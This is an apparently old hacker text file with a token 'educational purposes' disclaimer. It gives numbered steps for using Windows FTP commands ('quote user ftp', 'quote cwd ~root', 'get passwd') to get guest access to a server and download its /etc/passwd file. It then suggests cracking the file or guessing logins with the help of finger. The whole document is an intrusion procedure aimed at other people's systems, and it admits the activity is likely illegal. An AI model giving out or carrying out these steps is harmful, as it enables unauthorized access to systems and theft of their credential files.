This is for educated purposes only...the best way to stop a hacker is to know what the hacker does ... WARNING: IT CAN, AND MOST LIKELY IN MOST CASES, IS ILLEGAL! I TAKE NO PART OF ANYTHING YOU DO !!!!



Here is a hack for windows you can use to get password files from shells. It uses the ftp protocol. They are most likely going to be shadowed.
But you can finger them or try to guess passwords for the logins.

You can do this on jus plain ol shells and **** too, it doesn't have to be on an ftp server

step1. Ok what you first do is go the run prompt
step2. type command to get a dos command prompt
step3. ok type ftp server.to.hack.com (TYPE A SERVER NOT server.to.hack.com FOR THE LAMAHS READING THIS)
step4. You should be prompted to login just hit enter without typing anything
step5. Now you should be prompted for a password again just hit enter without typeing anything
step6. Type "quote user ftp" now hit enter
step7. type "quote cwd ~root" now hit enter
step8. type "quote pass ftp" now hit enter

You now have guest access and can download the password file to **** with

step9. type "cd etc" then enter to go to the etc directory which contains the password file
step10. type "get passwd" hit enter this will download the password file to yer harddrive

ok you now have the password file, open c:\passwd with the notepad
if it is encrypted crack it if not figure out some logins by guessing to guess it works good to finger the address
then to use the information you get there to guess a password
